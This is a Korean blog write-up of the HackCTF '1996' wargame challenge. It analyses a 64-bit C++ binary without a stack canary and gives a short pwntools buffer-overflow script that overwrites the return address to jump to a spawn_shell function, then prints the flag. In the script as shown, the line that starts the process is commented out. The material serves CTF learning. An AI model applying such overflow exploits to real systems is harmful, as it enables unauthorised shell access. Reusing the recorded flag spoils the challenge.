이번 문제는 다음과 같다. 바이너리를 다운로드하고 실행시켜 보면,
다음과 같이 "Which environment variable do you want to read?" 문자열이 뜨고 입력을 받게 돼 있다. 그 후 "입력 한 문자열"=root라는 문자열이 출력이 된다. ida로 분석해 보면,
다음과 같이 C++ 바이너리임을 알 수 있다. 코드를 보면 맨 처음 프로그램을 실행 했을때 나오는 문자열을 출력하고, cin 으로 name에 입력을 받는 것을 알 수 있다. 그리고 이후 "입력한 문자열"=root를 출력하는 것을 알 수 있다. 그냥 쉬운 bof 문제 같은데 다른 함수 목록들을 보면,
spawn_shell이라는 함수가 있다. 해당 함수를 보면,
/bin/bash를 실행 시키는 함수 임을 알 수 있다. 아 참고로,
해당 바이너리는 64bit이고 메모리 보호 기법이 적용되는 것을 보았을 때는 카나리가 없으므로 손쉽게 익스를 할 수 있다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
from pwn import*
#p = process("./1996")
elf = ELF("./1996")
payload = ''
payload += 'A'*1040
payload += 'B'*8
payload += p64(0x400897)
p.sendline(payload)
p.interactive()
|
flag는 다음과 같다.
FLAG : HackCTF{b29a2800780d85cfc346}
'WARGAME > hack ctf' 카테고리의 다른 글
Look at me (0) | 2020.04.10 |
---|---|
Random Key (0) | 2020.03.19 |
Poet (0) | 2020.03.10 |
RTL_World (0) | 2020.03.09 |
BOF_PIE (0) | 2020.03.09 |